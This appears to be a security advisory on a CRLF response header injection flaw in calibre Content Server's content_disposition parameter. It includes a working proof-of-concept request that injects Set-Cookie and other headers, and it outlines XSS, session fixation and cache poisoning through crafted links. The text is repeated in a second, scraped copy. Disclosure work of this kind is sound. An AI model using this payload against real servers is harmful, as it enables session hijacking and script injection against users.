Summary
An HTTP Response Header Injection vulnerability in the calibre Content Server allows any authenticated user to inject arbitrary HTTP headers into server responses via an unsanitized content_disposition query parameter in the /get/ and /data-files/get/ endpoints.
Details
The book_fmt() function in src/calibre/srv/content.py reads the content_disposition query parameter directly from the request URL and embeds it into the Content-Disposition HTTP response header without any validation or sanitization.
src/calibre/srv/content.py, line 224-226:
cd = rd.query.get('content_disposition', 'attachment')
rd.outheaders['Content-Disposition'] = (
f'''{cd}; filename="{book_filename(rd, book_id, mi, fmt)}"; filename*=utf-8''{book_filename(rd, book_id, mi, fmt, as_encoded_unicode=True)}''')
The same pattern is repeated in the data_file() function at line 526-528:
cd = rd.query.get('content_disposition', 'attachment')
rd.outheaders['Content-Disposition'] = (
f'''{cd}; filename="{fname_for_content_disposition(fname)}"; filename*=utf-8''{fname_for_content_disposition(fname, as_encoded_unicode=True)}''')
rd.query is populated from the raw URL query string via urllib.parse.parse_qs (src/calibre/srv/http_request.py:85), which URL-decodes all values. This means percent-encoded CRLF sequences (%0d%0a) are decoded into literal \r\n characters before being placed into the response header.
The response writer at src/calibre/srv/http_response.py:519-520 then writes each header as:
for header, value in sorted(outheaders.items(), key=itemgetter(0)):
buf.append(f'{header}: {value}')
The injected \r\n in the value splits the HTTP header line, allowing the attacker to inject entirely new response headers.
PoC
Prerequisites:
- A running calibre Content Server with authentication enabled (
calibre-server --enable-auth)
- At least one book in the library (e.g., book ID
1 with an epub format)
- Valid user credentials
Steps to reproduce:
-
Start the calibre content server:
calibre-server --enable-auth --username test --password test123 /path/to/library
-
Authenticate and send the following request (replacing <host> with the server address):
GET /get/epub/1?content_disposition=attachment%0d%0aX-Injected:%20true%0d%0aSet-Cookie:%20evil=session HTTP/1.1
Host: <host>:8080
Authorization: <valid auth header>
-
Observe the HTTP response headers. The response will contain:
Content-Disposition: attachment
X-Injected: true
Set-Cookie: evil=session
; filename="..."; filename*=utf-8''...
The X-Injected and Set-Cookie headers were injected by the attacker through the query parameter.
An attacker can also craft a link and send it to an authenticated victim to trigger the injection in their browser session, since the /get/ endpoint supports cookie-based auth via the android_workaround flag.
Impact
This is an HTTP Response Header Injection / Response Splitting vulnerability (CWE-113).
An authenticated attacker can inject arbitrary HTTP response headers, enabling:
- Cross-Site Scripting (XSS): Injecting a
Content-Type: text/html header followed by a malicious HTML body to execute JavaScript in the victim's browser context.
- Session Fixation: Injecting
Set-Cookie headers to set attacker-controlled session cookies in the victim's browser.
- Cache Poisoning: If the calibre server sits behind a caching reverse proxy, injected headers can poison cached responses and affect other users.
All users running the calibre Content Server with authentication enabled are affected. The vulnerability is exploitable by any authenticated user and can also be triggered by tricking an authenticated victim into clicking a crafted link.
Suggested Fix
Validate content_disposition against an allowlist of permitted values:
cd = rd.query.get('content_disposition', 'attachment')
if cd not in ('attachment', 'inline'):
cd = 'attachment'
Summary
An HTTP Response Header Injection vulnerability in the calibre Content Server allows any authenticated user to inject arbitrary HTTP headers into server responses via an unsanitized
content_dispositionquery parameter in the/get/and/data-files/get/endpoints.Details
The
book_fmt()function insrc/calibre/srv/content.pyreads thecontent_dispositionquery parameter directly from the request URL and embeds it into theContent-DispositionHTTP response header without any validation or sanitization.src/calibre/srv/content.py, line 224-226:The same pattern is repeated in the
data_file()function at line 526-528:rd.queryis populated from the raw URL query string viaurllib.parse.parse_qs(src/calibre/srv/http_request.py:85), which URL-decodes all values. This means percent-encoded CRLF sequences (%0d%0a) are decoded into literal\r\ncharacters before being placed into the response header.The response writer at
src/calibre/srv/http_response.py:519-520then writes each header as:The injected
\r\nin the value splits the HTTP header line, allowing the attacker to inject entirely new response headers.PoC
Prerequisites:
calibre-server --enable-auth)1with anepubformat)Steps to reproduce:
Start the calibre content server:
calibre-server --enable-auth --username test --password test123 /path/to/libraryAuthenticate and send the following request (replacing
<host>with the server address):Observe the HTTP response headers. The response will contain:
The
X-InjectedandSet-Cookieheaders were injected by the attacker through the query parameter.An attacker can also craft a link and send it to an authenticated victim to trigger the injection in their browser session, since the
/get/endpoint supports cookie-based auth via theandroid_workaroundflag.Impact
This is an HTTP Response Header Injection / Response Splitting vulnerability (CWE-113).
An authenticated attacker can inject arbitrary HTTP response headers, enabling:
Content-Type: text/htmlheader followed by a malicious HTML body to execute JavaScript in the victim's browser context.Set-Cookieheaders to set attacker-controlled session cookies in the victim's browser.All users running the calibre Content Server with authentication enabled are affected. The vulnerability is exploitable by any authenticated user and can also be triggered by tricking an authenticated victim into clicking a crafted link.
Suggested Fix
Validate
content_dispositionagainst an allowlist of permitted values: